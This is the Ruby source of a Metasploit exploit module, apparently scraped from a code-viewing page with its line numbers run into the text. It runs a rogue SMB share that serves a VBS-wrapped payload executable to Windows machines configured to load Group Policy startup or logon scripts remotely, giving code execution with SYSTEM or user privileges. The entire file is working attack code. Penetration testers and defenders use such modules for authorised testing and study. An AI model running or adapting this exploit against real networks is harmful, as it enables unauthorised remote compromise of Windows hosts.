Path: blob/master/modules/exploits/windows/smb/group_policy_startup.rb
32939 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::Remote::SMB::Server::Share910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Group Policy Script Execution From Shared Resource',15'Description' => %q{16This is a general-purpose module for exploiting systems with Windows Group Policy17configured to load VBS startup/logon scripts from remote locations. This module runs18a SMB shared resource that will provide a payload through a VBS file. Startup scripts19will be executed with SYSTEM privileges, while logon scripts will be executed with the20user privileges. Have into account which the attacker still needs to redirect the21target traffic to the fake SMB share to exploit it successfully. Please note in some22cases, it will take 5 to 10 minutes to receive a session.23},24'Author' => [25'Sam Bertram <sbertram[at]gdssecurity.com>', # BadSamba26'juan vazquez' # msf module27],28'References' => [29['URL', 'http://blog.gdssecurity.com/labs/2015/1/26/badsamba-exploiting-windows-startup-scripts-using-a-maliciou.html'],30['URL', 'https://github.com/GDSSecurity/BadSamba']31],32'DefaultOptions' => {33'EXITFUNC' => 'thread'34},35'Privileged' => false,36'Platform' => 'win',37'Payload' => {38'Space' => 2048,39'DisableNops' => true40},41'Targets' => [42[ 'Windows x86', { 'Arch' => ARCH_X86 } ],43[ 'Windows x64', { 'Arch' => ARCH_X64 } ]44],45'DefaultTarget' => 0,46'DisclosureDate' => '2015-01-26',47'Notes' => {48'AKA' => ['badsamba'],49'Stability' => UNKNOWN_STABILITY,50'Reliability' => UNKNOWN_RELIABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)5556register_options(57[58OptString.new('FILE_NAME', [ false, 'VBS File name to share (Default: random .vbs)'])59]60)6162deregister_options('FILE_CONTENTS')63end6465def setup66super67self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(rand(4..6))}.vbs"68@custom_payloads = {}69print_status("File available on #{unc}...")70end7172def on_client_connect(client)73super(client)7475unless @custom_payloads[:client]76p = regenerate_payload(client)77exe = p.encoded_exe78@custom_payloads[client] = Msf::Util::EXE.to_exe_vbs(exe)79end80end8182def get_file_contents(client:)83contents = @custom_payloads[client] || super(client: client)8485contents86end87end888990